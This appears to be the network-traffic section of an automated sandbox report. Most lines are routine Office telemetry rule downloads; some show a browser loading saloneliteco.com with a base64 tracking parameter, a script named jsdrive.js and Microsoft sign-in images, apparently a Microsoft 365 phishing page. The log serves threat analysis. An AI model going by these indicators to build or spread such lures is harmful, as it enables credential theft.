Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N HTTP/1.1Host: saloneliteco.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /n/jsdrive.js HTTP/1.1Host: saloneliteco.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123NAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cid=621359b10692d1b104b6a593d9a0cdde
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://saloneliteco.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://saloneliteco.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://saloneliteco.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://saloneliteco.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://saloneliteco.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /n/jsdrive.js HTTP/1.1Host: saloneliteco.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cid=621359b10692d1b104b6a593d9a0cdde
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://saloneliteco.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: saloneliteco.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123NAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://saloneliteco.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://saloneliteco.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: saloneliteco.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://saloneliteco.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
